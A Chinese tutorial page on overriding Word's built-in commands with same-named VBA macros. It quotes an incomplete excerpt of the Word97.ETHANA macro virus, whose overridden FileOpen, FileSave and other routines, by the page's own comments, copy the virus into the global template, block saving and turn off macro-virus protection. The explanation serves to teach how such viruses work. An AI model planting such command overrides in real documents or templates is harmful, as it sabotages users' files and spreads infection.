浏览器之家


修改Word命令

大多数 Word 命令可通过转入宏以修改它们。例如,可修改【文件】菜单中的【打开】命令,使其不再显示 Word 文档文件列表(扩展名为 DOC 的文件),而是当前文件夹的HTML 文件,甚至打开的是【另存为】对话框。。
    要在宏对话框中显示内置命令列表,可选择【宏的位置】对话框中的【Word 命令】选项。显示的命令包括所有的菜单命令、工具栏命令或快捷键命令。菜单命令为以菜单名开头的命令。例如,File 菜单中的 Save 命令显示为 FileSave。
    通过将一个宏命名为与 Word 命令相同的名称,就可用一个宏替代一个 Word 命令。例如,建立一个名为FileSave 的宏之后,当选择【文件】菜单中的【保存】项时或者单击【工具】栏中的【保存】按钮或按下【保存文件】快捷键Ctrl+S 时,Word 将运行此宏。  

FileSave 宏代码如下:
Sub FileSave()
' FileSave 宏
' 保存一个活动文档或者模板
ActiveDocument.Save
End Sub

    可添加指令或删除已有的 ActiveDocument.Save 指令。当运行 FileSave 命令时,新的 FileSave 宏取代了Word 命令。要恢复原来的FileSave 功能,须将新的FileSave 宏改名或删除。
    用户还可通过建立包含名为 Main 的编码模块以替代 Word 命令,此模块必须和要替代的命令同名(如 FileSave)。
    很多宏病毒除了前面提出的利用自动宏来进行传播外,还会利用修改Word 命令的方法修改Word,给用户造成很大不便,危害性特别大。如Word97.ETHANA 宏病毒就修改许多Word 的内部命令,其代码如下:
    Sub FileClose()
    '修改Word 关闭文件命令,使其在关闭文件之前首先执行远? 义的一些代码,以达到妨害计算机
    '工作的目的。

On Error Resume Next
Call AyAlways
Call Ay2
Call Ay2Doc
Call AyClose
If Day(Now()) = 8 And Month(Now()) = 6 Then
ChenLung.Show

    '如果是6 月8 号,会有一个带有病毒制造者的头像的对话框出现

WordBasic.FileClose
End Sub
Sub FileOpen()
'修改Word 打开文件命令,使宏病毒代码自动复制到通用模板上
On Error Resume Next
Call Lulung
Dialogs(wdDialogFileOpen).Show
Call AyAlways
Call Ay2Doc
Call Simpan
Call AyClose
If Day(Now()) = 8 And Month(Now()) = 6 Then
ChenLung.Show

End Sub
Sub FileSaveAs()
'修改Word 文件另存为命令,使保存文件保存不了。危害性非常

On Error Resume Next
Call AyAlways
Call Ay2
Call Ay2Doc
Call AyClose
Dialogs(wdDialogFileSaveAs).Show
If Day(Now()) = 8 And Month(Now()) = 6 Then
ChenLung.Show
End Sub
Sub FileSave()
'修改Word 文件保存命令,使保存文件保存不了。
Call AyAlways
Call Ay2
Call Ay2Doc

Call AyClose
On Error GoTo Errh1
If ActiveDocument.Saved = False Then
ActiveDocument.Save
If Day(Now()) = 8 And Month(Now()) = 6 Then
ChenLung.Show
Errh1:
End Sub
Sub HelpAbout()

[NextPage]


'修改Word 关于命令,一个带有病毒制造者的头像的对话框代
替【关于】对话框。
On Error GoTo AyErr3
ChenLung.Show
AyErr3:
End Sub
Sub ToolsOptions()

    '修改Word 打开【工具】菜单中的【选项】命令,使用户修改启Word 的宏病毒保护功能。

评论

没安装畅言模块